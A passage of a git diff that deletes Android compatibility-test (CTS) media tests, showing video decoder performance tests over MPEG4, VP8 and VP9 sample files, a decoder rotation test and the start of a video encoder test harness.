-    public void testMpeg4Other2Perf0176x0144() throws Exception { perf(sMpeg4Media0176x0144, OTHER, 2); }
-    public void testMpeg4Other3Perf0176x0144() throws Exception { perf(sMpeg4Media0176x0144, OTHER, 3); }
-
-    private static final String[] sMpeg4Media0480x0360 = {
-        "video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-    };
-
-    public void testMpeg4Count0480x0360() throws Exception { count(sMpeg4Media0480x0360, 2, 4); }
-    public void testMpeg4Goog0Perf0480x0360() throws Exception { perf(sMpeg4Media0480x0360, GOOG, 0); }
-    public void testMpeg4Goog1Perf0480x0360() throws Exception { perf(sMpeg4Media0480x0360, GOOG, 1); }
-    public void testMpeg4Other0Perf0480x0360() throws Exception { perf(sMpeg4Media0480x0360, OTHER, 0); }
-    public void testMpeg4Other1Perf0480x0360() throws Exception { perf(sMpeg4Media0480x0360, OTHER, 1); }
-    public void testMpeg4Other2Perf0480x0360() throws Exception { perf(sMpeg4Media0480x0360, OTHER, 2); }
-    public void testMpeg4Other3Perf0480x0360() throws Exception { perf(sMpeg4Media0480x0360, OTHER, 3); }
-
-   // No media for MPEG4 640x480
-
-    private static final String[] sMpeg4Media1280x0720 = {
-        "video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-    };
-
-    public void testMpeg4Count1280x0720() throws Exception { count(sMpeg4Media1280x0720, 2, 4); }
-    public void testMpeg4Goog0Perf1280x0720() throws Exception { perf(sMpeg4Media1280x0720, GOOG, 0); }
-    public void testMpeg4Goog1Perf1280x0720() throws Exception { perf(sMpeg4Media1280x0720, GOOG, 1); }
-    public void testMpeg4Other0Perf1280x0720() throws Exception { perf(sMpeg4Media1280x0720, OTHER, 0); }
-    public void testMpeg4Other1Perf1280x0720() throws Exception { perf(sMpeg4Media1280x0720, OTHER, 1); }
-    public void testMpeg4Other2Perf1280x0720() throws Exception { perf(sMpeg4Media1280x0720, OTHER, 2); }
-    public void testMpeg4Other3Perf1280x0720() throws Exception { perf(sMpeg4Media1280x0720, OTHER, 3); }
-
-    // VP8 tests
-
-    private static final String[] sVp8Media0320x0180 = {
-        "bbb_s1_320x180_webm_vp8_800kbps_30fps_opus_5ch_320kbps_48000hz.webm",
-    };
-
-    public void testVp8Count0320x0180() throws Exception { count(sVp8Media0320x0180, 2, 2); }
-    public void testVp8Goog0Perf0320x0180() throws Exception { perf(sVp8Media0320x0180, GOOG, 0); }
-    public void testVp8Goog1Perf0320x0180() throws Exception { perf(sVp8Media0320x0180, GOOG, 1); }
-    public void testVp8Other0Perf0320x0180() throws Exception { perf(sVp8Media0320x0180, OTHER, 0); }
-    public void testVp8Other1Perf0320x0180() throws Exception { perf(sVp8Media0320x0180, OTHER, 1); }
-
-    private static final String[] sVp8Media0640x0360 = {
-        "bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm",
-    };
-
-    public void testVp8Count0640x0360() throws Exception { count(sVp8Media0640x0360, 2, 2); }
-    public void testVp8Goog0Perf0640x0360() throws Exception { perf(sVp8Media0640x0360, GOOG, 0); }
-    public void testVp8Goog1Perf0640x0360() throws Exception { perf(sVp8Media0640x0360, GOOG, 1); }
-    public void testVp8Other0Perf0640x0360() throws Exception { perf(sVp8Media0640x0360, OTHER, 0); }
-    public void testVp8Other1Perf0640x0360() throws Exception { perf(sVp8Media0640x0360, OTHER, 1); }
-
-    // prefer highest effective bitrate
-    private static final String[] sVp8Media1280x0720 = {
-        "bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz.webm",
-        "bbb_s3_1280x720_webm_vp8_8mbps_60fps_opus_6ch_384kbps_48000hz.webm",
-    };
-
-    public void testVp8Count1280x0720() throws Exception { count(sVp8Media1280x0720, 2, 2); }
-    public void testVp8Goog0Perf1280x0720() throws Exception { perf(sVp8Media1280x0720, GOOG, 0); }
-    public void testVp8Goog1Perf1280x0720() throws Exception { perf(sVp8Media1280x0720, GOOG, 1); }
-    public void testVp8Other0Perf1280x0720() throws Exception { perf(sVp8Media1280x0720, OTHER, 0); }
-    public void testVp8Other1Perf1280x0720() throws Exception { perf(sVp8Media1280x0720, OTHER, 1); }
-
-    // prefer highest effective bitrate
-    private static final String[] sVp8Media1920x1080 = {
-        "bbb_s4_1920x1080_wide_webm_vp8_20mbps_30fps_vorbis_6ch_384kbps_44100hz.webm",
-        "bbb_s2_1920x1080_webm_vp8_20mbps_60fps_vorbis_6ch_384kbps_48000hz.webm",
-    };
-
-    public void testVp8Count1920x1080() throws Exception { count(sVp8Media1920x1080, 2, 2); }
-    public void testVp8Goog0Perf1920x1080() throws Exception { perf(sVp8Media1920x1080, GOOG, 0); }
-    public void testVp8Goog1Perf1920x1080() throws Exception { perf(sVp8Media1920x1080, GOOG, 1); }
-    public void testVp8Other0Perf1920x1080() throws Exception { perf(sVp8Media1920x1080, OTHER, 0); }
-    public void testVp8Other1Perf1920x1080() throws Exception { perf(sVp8Media1920x1080, OTHER, 1); }
-
-    // VP9 tests
-
-    private static final String[] sVp9Media0320x0180 = {
-        "bbb_s1_320x180_webm_vp9_0p11_600kbps_30fps_vorbis_mono_64kbps_48000hz.webm",
-    };
-
-    public void testVp9Count0320x0180() throws Exception { count(sVp9Media0320x0180, 2, 4); }
-    public void testVp9Goog0Perf0320x0180() throws Exception { perf(sVp9Media0320x0180, GOOG, 0); }
-    public void testVp9Goog1Perf0320x0180() throws Exception { perf(sVp9Media0320x0180, GOOG, 1); }
-    public void testVp9Other0Perf0320x0180() throws Exception { perf(sVp9Media0320x0180, OTHER, 0); }
-    public void testVp9Other1Perf0320x0180() throws Exception { perf(sVp9Media0320x0180, OTHER, 1); }
-    public void testVp9Other2Perf0320x0180() throws Exception { perf(sVp9Media0320x0180, OTHER, 2); }
-    public void testVp9Other3Perf0320x0180() throws Exception { perf(sVp9Media0320x0180, OTHER, 3); }
-
-    private static final String[] sVp9Media0640x0360 = {
-        "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-    };
-
-    public void testVp9Count0640x0360() throws Exception { count(sVp9Media0640x0360, 2, 4); }
-    public void testVp9Goog0Perf0640x0360() throws Exception { perf(sVp9Media0640x0360, GOOG, 0); }
-    public void testVp9Goog1Perf0640x0360() throws Exception { perf(sVp9Media0640x0360, GOOG, 1); }
-    public void testVp9Other0Perf0640x0360() throws Exception { perf(sVp9Media0640x0360, OTHER, 0); }
-    public void testVp9Other1Perf0640x0360() throws Exception { perf(sVp9Media0640x0360, OTHER, 1); }
-    public void testVp9Other2Perf0640x0360() throws Exception { perf(sVp9Media0640x0360, OTHER, 2); }
-    public void testVp9Other3Perf0640x0360() throws Exception { perf(sVp9Media0640x0360, OTHER, 3); }
-
-    private static final String[] sVp9Media1280x0720 = {
-        "bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz.webm",
-    };
-
-    public void testVp9Count1280x0720() throws Exception { count(sVp9Media1280x0720, 2, 4); }
-    public void testVp9Goog0Perf1280x0720() throws Exception { perf(sVp9Media1280x0720, GOOG, 0); }
-    public void testVp9Goog1Perf1280x0720() throws Exception { perf(sVp9Media1280x0720, GOOG, 1); }
-    public void testVp9Other0Perf1280x0720() throws Exception { perf(sVp9Media1280x0720, OTHER, 0); }
-    public void testVp9Other1Perf1280x0720() throws Exception { perf(sVp9Media1280x0720, OTHER, 1); }
-    public void testVp9Other2Perf1280x0720() throws Exception { perf(sVp9Media1280x0720, OTHER, 2); }
-    public void testVp9Other3Perf1280x0720() throws Exception { perf(sVp9Media1280x0720, OTHER, 3); }
-
-    private static final String[] sVp9Media1920x1080 = {
-        "bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz.webm",
-    };
-
-    public void testVp9Count1920x1080() throws Exception { count(sVp9Media1920x1080, 2, 4); }
-    public void testVp9Goog0Perf1920x1080() throws Exception { perf(sVp9Media1920x1080, GOOG, 0); }
-    public void testVp9Goog1Perf1920x1080() throws Exception { perf(sVp9Media1920x1080, GOOG, 1); }
-    public void testVp9Other0Perf1920x1080() throws Exception { perf(sVp9Media1920x1080, OTHER, 0); }
-    public void testVp9Other1Perf1920x1080() throws Exception { perf(sVp9Media1920x1080, OTHER, 1); }
-    public void testVp9Other2Perf1920x1080() throws Exception { perf(sVp9Media1920x1080, OTHER, 2); }
-    public void testVp9Other3Perf1920x1080() throws Exception { perf(sVp9Media1920x1080, OTHER, 3); }
-
-    // prefer highest effective bitrate
-    private static final String[] sVp9Media3840x2160 = {
-        "bbb_s4_3840x2160_webm_vp9_0p5_20mbps_30fps_vorbis_6ch_384kbps_24000hz.webm",
-        "bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz.webm",
-    };
-
-    public void testVp9Count3840x2160() throws Exception { count(sVp9Media3840x2160, 2, 4); }
-    public void testVp9Goog0Perf3840x2160() throws Exception { perf(sVp9Media3840x2160, GOOG, 0); }
-    public void testVp9Goog1Perf3840x2160() throws Exception { perf(sVp9Media3840x2160, GOOG, 1); }
-    public void testVp9Other0Perf3840x2160() throws Exception { perf(sVp9Media3840x2160, OTHER, 0); }
-    public void testVp9Other1Perf3840x2160() throws Exception { perf(sVp9Media3840x2160, OTHER, 1); }
-    public void testVp9Other2Perf3840x2160() throws Exception { perf(sVp9Media3840x2160, OTHER, 2); }
-    public void testVp9Other3Perf3840x2160() throws Exception { perf(sVp9Media3840x2160, OTHER, 3); }
-}
diff --git a/tests/tests/media/src/android/media/cts/VideoDecoderRotationTest.java b/tests/tests/media/src/android/media/cts/VideoDecoderRotationTest.java
deleted file mode 100644
index 08c22b7..0000000
--- a/tests/tests/media/src/android/media/cts/VideoDecoderRotationTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.platform.test.annotations.RequiresDevice;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-import org.junit.Test;
-
-/**
- * Tests to check if MediaCodec decoding works with rotation.
- */
-@SmallTest
-@RequiresDevice
-@NonMediaMainlineTest   // fails in windowing on pure older releases
-@RunWith(Parameterized.class)
-public class VideoDecoderRotationTest {
-    private static final String TAG = "VideoDecoderRotationTest";
-
-    private final EncodeVirtualDisplayWithCompositionTestImpl mImpl =
-            new EncodeVirtualDisplayWithCompositionTestImpl();
-
-    @Parameter(0)
-    public String mDecoderName;
-    @Parameter(1)
-    public String mMimeType;
-    @Parameter(2)
-    public Integer mDegrees;
-
-    private static final List<String> SUPPORTED_TYPES = Arrays.asList(
-            MediaFormat.MIMETYPE_VIDEO_AVC,
-            MediaFormat.MIMETYPE_VIDEO_HEVC,
-            MediaFormat.MIMETYPE_VIDEO_VP8,
-            MediaFormat.MIMETYPE_VIDEO_VP9,
-            MediaFormat.MIMETYPE_VIDEO_AV1);
-
-    @Parameters(name = "{0}:{1}:{2}")
-    public static Collection<Object[]> data() {
-        final List<Object[]> testParams = new ArrayList<>();
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (info.isAlias() || info.isEncoder()) {
-                continue;
-            }
-            for (String type : info.getSupportedTypes()) {
-                if (!SUPPORTED_TYPES.contains(type)) {
-                    continue;
-                }
-                testParams.add(new Object[] { info.getName(), type, Integer.valueOf(90) });
-                testParams.add(new Object[] { info.getName(), type, Integer.valueOf(180) });
-                testParams.add(new Object[] { info.getName(), type, Integer.valueOf(270) });
-                testParams.add(new Object[] { info.getName(), type, Integer.valueOf(360) });
-            }
-        }
-        return testParams;
-    }
-
-    @Test
-    public void testRendering800x480Rotated() throws Throwable {
-        if (mImpl.isConcurrentEncodingDecodingSupported(
-                mMimeType, 800, 480, mImpl.BITRATE_800x480, mDecoderName)) {
-            mImpl.runTestRenderingInSeparateThread(
-                    InstrumentationRegistry.getInstrumentation().getContext(),
-                    mMimeType, 800, 480, false, false, mDegrees, mDecoderName);
-        } else {
-            Log.i(TAG, "SKIPPING testRendering800x480Rotated" + mDegrees + ":codec (" +
-                    mDecoderName + ":" + mMimeType + ") not supported");
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/VideoEditorTest.java b/tests/tests/media/src/android/media/cts/VideoEditorTest.java
deleted file mode 100644
index b95431e..0000000
--- a/tests/tests/media/src/android/media/cts/VideoEditorTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.platform.test.annotations.AppModeFull;
-import android.test.ActivityInstrumentationTestCase2;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VideoEditorTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
-
-    public VideoEditorTest() {
-        super(MediaStubActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        //setup for each test case.
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        //Test case clean up.
-        super.tearDown();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
deleted file mode 100644
index 8db3aeb..0000000
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ /dev/null
@@ -1,2094 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.CodecUtils;
-
-import android.graphics.ImageFormat;
-import android.graphics.SurfaceTexture;
-import android.media.Image;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMuxer;
-import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.util.Log;
-import android.util.Pair;
-import android.util.Range;
-import android.util.Size;
-import android.view.Surface;
-
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.Consumer;
-import java.util.function.Function;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.LinkedList;
-import java.util.Map;
-import java.util.Set;
-
-@MediaHeavyPresubmitTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VideoEncoderTest extends MediaPlayerTestBase {
-    private static final int MAX_SAMPLE_SIZE = 256 * 1024;
-    private static final String TAG = "VideoEncoderTest";
-    private static final long FRAME_TIMEOUT_MS = 1000;
-    // use larger delay before we get first frame, some encoders may need more time
-    private static final long INIT_TIMEOUT_MS = 2000;
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    private static final String SOURCE_URL =
-            mInpPrefix + "video_480x360_mp4_h264_871kbps_30fps.mp4";
-
-    private final boolean DEBUG = false;
-
-    class VideoStorage {
-        private LinkedList<Pair<ByteBuffer, BufferInfo>> mStream;
-        private MediaFormat mFormat;
-        private int mInputBufferSize;
-        // Media buffers(no CSD, no EOS) enqueued.
-        private int mMediaBuffersEnqueuedCount;
-        // Media buffers decoded.
-        private int mMediaBuffersDecodedCount;
-        private final AtomicReference<String> errorMsg = new AtomicReference(null);
-
-        public VideoStorage() {
-            mStream = new LinkedList<Pair<ByteBuffer, BufferInfo>>();
-        }
-
-        public void setFormat(MediaFormat format) {
-            mFormat = format;
-        }
-
-        public void addBuffer(ByteBuffer buffer, BufferInfo info) {
-            ByteBuffer savedBuffer = ByteBuffer.allocate(info.size);
-            savedBuffer.put(buffer);
-            if (info.size > mInputBufferSize) {
-                mInputBufferSize = info.size;
-            }
-            BufferInfo savedInfo = new BufferInfo();
-            savedInfo.set(0, savedBuffer.position(), info.presentationTimeUs, info.flags);
-            mStream.addLast(Pair.create(savedBuffer, savedInfo));
-            if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-                ++mMediaBuffersEnqueuedCount;
-            }
-        }
-
-        private void play(MediaCodec decoder, Surface surface) {
-            decoder.reset();
-            final Object condition = new Object();
-            final Iterator<Pair<ByteBuffer, BufferInfo>> it = mStream.iterator();
-            decoder.setCallback(new MediaCodec.Callback() {
-                public void onOutputBufferAvailable(MediaCodec codec, int ix, BufferInfo info) {
-                    if (info.size > 0) {
-                        ++mMediaBuffersDecodedCount;
-                    }
-                    codec.releaseOutputBuffer(ix, info.size > 0);
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        synchronized (condition) {
-                            condition.notifyAll();
-                        }
-                    }
-                }
-                public void onInputBufferAvailable(MediaCodec codec, int ix) {
-                    if (it.hasNext()) {
-                        Pair<ByteBuffer, BufferInfo> el = it.next();
-                        el.first.clear();
-                        try {
-                            codec.getInputBuffer(ix).put(el.first);
-                        } catch (java.nio.BufferOverflowException e) {
-                            Log.e(TAG, "cannot fit " + el.first.limit()
-                                    + "-byte encoded buffer into "
-                                    + codec.getInputBuffer(ix).remaining()
-                                    + "-byte input buffer of " + codec.getName()
-                                    + " configured for " + codec.getInputFormat());
-                            throw e;
-                        }
-                        BufferInfo info = el.second;
-                        codec.queueInputBuffer(
-                                ix, 0, info.size, info.presentationTimeUs, info.flags);
-                    }
-                }
-                public void onError(MediaCodec codec, MediaCodec.CodecException e) {
-                    Log.i(TAG, "got codec exception", e);
-                    errorMsg.set("received codec error during decode" + e);
-                    synchronized (condition) {
-                        condition.notifyAll();
-                    }
-                }
-                public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-                    Log.i(TAG, "got output format " + format);
-                }
-            });
-            mFormat.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, mInputBufferSize);
-            decoder.configure(mFormat, surface, null /* crypto */, 0 /* flags */);
-            decoder.start();
-            synchronized (condition) {
-                try {
-                    condition.wait();
-                } catch (InterruptedException e) {
-                    fail("playback interrupted");
-                }
-            }
-            decoder.stop();
-            assertNull(errorMsg.get(), errorMsg.get());
-            // All enqueued media data buffers should have got decoded.
-            if (mMediaBuffersEnqueuedCount != mMediaBuffersDecodedCount) {
-                Log.i(TAG, "mMediaBuffersEnqueuedCount:" + mMediaBuffersEnqueuedCount);
-                Log.i(TAG, "mMediaBuffersDecodedCount:" + mMediaBuffersDecodedCount);
-                fail("not all enqueued encoded media buffers were decoded");
-            }
-            mMediaBuffersDecodedCount = 0;
-        }
-
-        public boolean playAll(Surface surface) {
-            boolean skipped = true;
-            if (mFormat == null) {
-                Log.i(TAG, "no stream to play");
-                return !skipped;
-            }
-            String mime = mFormat.getString(MediaFormat.KEY_MIME);
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-            for (MediaCodecInfo info : mcl.getCodecInfos()) {
-                if (info.isEncoder() || info.isAlias()) {
-                    continue;
-                }
-                MediaCodec codec = null;
-                try {
-                    CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                    if (!caps.isFormatSupported(mFormat)) {
-                        continue;
-                    }
-                    codec = MediaCodec.createByCodecName(info.getName());
-                } catch (IllegalArgumentException | IOException e) {
-                    continue;
-                }
-                play(codec, surface);
-                codec.release();
-                skipped = false;
-            }
-            return !skipped;
-        }
-    }
-
-    abstract class VideoProcessorBase extends MediaCodec.Callback {
-        private static final String TAG = "VideoProcessorBase";
-
-        /*
-         * Set this to true to save the encoding results to /data/local/tmp
-         * You will need to make /data/local/tmp writeable, run "setenforce 0",
-         * and remove files left from a previous run.
-         */
-        private boolean mSaveResults = false;
-        private static final String FILE_DIR = "/data/local/tmp";
-        protected int mMuxIndex = -1;
-
-        protected String mProcessorName = "VideoProcessor";
-        private MediaExtractor mExtractor;
-        protected MediaMuxer mMuxer;
-        private ByteBuffer mBuffer = ByteBuffer.allocate(MAX_SAMPLE_SIZE);
-        protected int mTrackIndex = -1;
-        private boolean mSignaledDecoderEOS;
-
-        protected boolean mCompleted;
-        protected boolean mEncoderIsActive;
-        protected boolean mEncodeOutputFormatUpdated;
-        protected final Object mCondition = new Object();
-        protected final Object mCodecLock = new Object();
-
-        protected MediaFormat mDecFormat;
-        protected MediaCodec mDecoder, mEncoder;
-
-        private VideoStorage mEncodedStream;
-        protected int mFrameRate = 0;
-        protected int mBitRate = 0;
-
-        protected Function<MediaFormat, Boolean> mUpdateConfigFormatHook;
-        protected Function<MediaFormat, Boolean> mCheckOutputFormatHook;
-
-        public void setProcessorName(String name) {
-            mProcessorName = name;
-        }
-
-        public void setUpdateConfigHook(Function<MediaFormat, Boolean> hook) {
-            mUpdateConfigFormatHook = hook;
-        }
-
-        public void setCheckOutputFormatHook(Function<MediaFormat, Boolean> hook) {
-            mCheckOutputFormatHook = hook;
-        }
-
-        protected void open(String path) throws IOException {
-            mExtractor = new MediaExtractor();
-            if (path.startsWith("android.resource://")) {
-                mExtractor.setDataSource(mContext, Uri.parse(path), null);
-            } else {
-                mExtractor.setDataSource(path);
-            }
-
-            for (int i = 0; i < mExtractor.getTrackCount(); i++) {
-                MediaFormat fmt = mExtractor.getTrackFormat(i);
-                String mime = fmt.getString(MediaFormat.KEY_MIME).toLowerCase();
-                if (mime.startsWith("video/")) {
-                    mTrackIndex = i;
-                    mDecFormat = fmt;
-                    mExtractor.selectTrack(i);
-                    break;
-                }
-            }
-            mEncodedStream = new VideoStorage();
-            assertTrue("file " + path + " has no video", mTrackIndex >= 0);
-        }
-
-        // returns true if encoder supports the size
-        protected boolean initCodecsAndConfigureEncoder(
-                String videoEncName, String outMime, int width, int height,
-                int colorFormat) throws IOException {
-            mDecFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
-
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-            String videoDecName = mcl.findDecoderForFormat(mDecFormat);
-            Log.i(TAG, "decoder for " + mDecFormat + " is " + videoDecName);
-            mDecoder = MediaCodec.createByCodecName(videoDecName);
-            mEncoder = MediaCodec.createByCodecName(videoEncName);
-
-            mDecoder.setCallback(this);
-            mEncoder.setCallback(this);
-
-            VideoCapabilities encCaps =
-                mEncoder.getCodecInfo().getCapabilitiesForType(outMime).getVideoCapabilities();
-            if (!encCaps.isSizeSupported(width, height)) {
-                Log.i(TAG, videoEncName + " does not support size: " + width + "x" + height);
-                return false;
-            }
-
-            MediaFormat outFmt = MediaFormat.createVideoFormat(outMime, width, height);
-            int bitRate = 0;
-            MediaUtils.setMaxEncoderFrameAndBitrates(encCaps, outFmt, 30);
-            if (mFrameRate > 0) {
-                outFmt.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
-            }
-            if (mBitRate > 0) {
-                outFmt.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
-            }
-            outFmt.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1);
-            outFmt.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
-            // Some extra configure before starting the encoder.
-            if (mUpdateConfigFormatHook != null) {
-                if (!mUpdateConfigFormatHook.apply(outFmt)) {
-                    return false;
-                }
-            }
-            mEncoder.configure(outFmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            Log.i(TAG, "encoder input format " + mEncoder.getInputFormat() + " from " + outFmt);
-            if (mSaveResults) {
-                try {
-                    String outFileName =
-                            FILE_DIR + mProcessorName + "_" + bitRate + "bps";
-                    if (outMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
-                            outMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-                        mMuxer = new MediaMuxer(
-                                outFileName + ".webm", MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
-                    } else {
-                        mMuxer = new MediaMuxer(
-                                outFileName + ".mp4", MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-                    }
-                    // The track can't be added until we have the codec specific data
-                } catch (Exception e) {
-                    Log.i(TAG, "couldn't create muxer: " + e);
-                }
-            }
-            return true;
-        }
-
-        protected void close() {
-            synchronized (mCodecLock) {
-                if (mDecoder != null) {
-                    mDecoder.release();
-                    mDecoder = null;
-                }
-                if (mEncoder != null) {
-                    mEncoder.release();
-                    mEncoder = null;
-                }
-            }
-            if (mExtractor != null) {
-                mExtractor.release();
-                mExtractor = null;
-            }
-            if (mMuxer != null) {
-                mMuxer.stop();
-                mMuxer.release();
-                mMuxer = null;
-            }
-        }
-
-        // returns true if filled buffer
-        protected boolean fillDecoderInputBuffer(int ix) {
-            if (DEBUG) Log.v(TAG, "decoder received input #" + ix);
-            while (!mSignaledDecoderEOS) {
-                int track = mExtractor.getSampleTrackIndex();
-                if (track >= 0 && track != mTrackIndex) {
-                    mExtractor.advance();
-                    continue;
-                }
-                int size = mExtractor.readSampleData(mBuffer, 0);
-                if (size < 0) {
-                    // queue decoder input EOS
-                    if (DEBUG) Log.v(TAG, "queuing decoder EOS");
-                    mDecoder.queueInputBuffer(
-                            ix, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                    mSignaledDecoderEOS = true;
-                } else {
-                    mBuffer.limit(size);
-                    mBuffer.position(0);
-                    BufferInfo info = new BufferInfo();
-                    info.set(
-                            0, mBuffer.limit(), mExtractor.getSampleTime(),
-                            mExtractor.getSampleFlags());
-                    mDecoder.getInputBuffer(ix).put(mBuffer);
-                    if (DEBUG) Log.v(TAG, "queing input #" + ix + " for decoder with timestamp "
-                            + info.presentationTimeUs);
-                    mDecoder.queueInputBuffer(
-                            ix, 0, mBuffer.limit(), info.presentationTimeUs, 0);
-                }
-                mExtractor.advance();
-                return true;
-            }
-            return false;
-        }
-
-        protected void emptyEncoderOutputBuffer(int ix, BufferInfo info) {
-            if (DEBUG) Log.v(TAG, "encoder received output #" + ix
-                     + " (sz=" + info.size + ", f=" + info.flags
-                     + ", ts=" + info.presentationTimeUs + ")");
-            ByteBuffer outputBuffer = mEncoder.getOutputBuffer(ix);
-            mEncodedStream.addBuffer(outputBuffer, info);
-
-            if (mMuxer != null) {
-                // reset position as addBuffer() modifies it
-                outputBuffer.position(info.offset);
-                outputBuffer.limit(info.offset + info.size);
-                mMuxer.writeSampleData(mMuxIndex, outputBuffer, info);
-            }
-
-            if (!mCompleted) {
-                mEncoder.releaseOutputBuffer(ix, false);
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "encoder received output EOS");
-                    synchronized(mCondition) {
-                        mCompleted = true;
-                        mCondition.notifyAll(); // condition is always satisfied
-                    }
-                } else {
-                    synchronized(mCondition) {
-                        mEncoderIsActive = true;
-                    }
-                }
-            }
-        }
-
-        protected void saveEncoderFormat(MediaFormat format) {
-            mEncodedStream.setFormat(format);
-            if (mCheckOutputFormatHook != null) {
-                mCheckOutputFormatHook.apply(format);
-            }
-            if (mMuxer != null) {
-                if (mMuxIndex < 0) {
-                    mMuxIndex = mMuxer.addTrack(format);
-                    mMuxer.start();
-                }
-            }
-        }
-
-        public boolean playBack(Surface surface) { return mEncodedStream.playAll(surface); }
-
-        public void setFrameAndBitRates(int frameRate, int bitRate) {
-            mFrameRate = frameRate;
-            mBitRate = bitRate;
-        }
-
-        @Override
-        public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
-            synchronized (mCodecLock) {
-                if (mEncoder != null && mDecoder != null) {
-                    onInputBufferAvailableLocked(mediaCodec, ix);
-                }
-            }
-        }
-
-        @Override
-        public void onOutputBufferAvailable(
-                MediaCodec mediaCodec, int ix, BufferInfo info) {
-            synchronized (mCodecLock) {
-                if (mEncoder != null && mDecoder != null) {
-                    onOutputBufferAvailableLocked(mediaCodec, ix, info);
-                }
-            }
-        }
-
-        public abstract boolean processLoop(
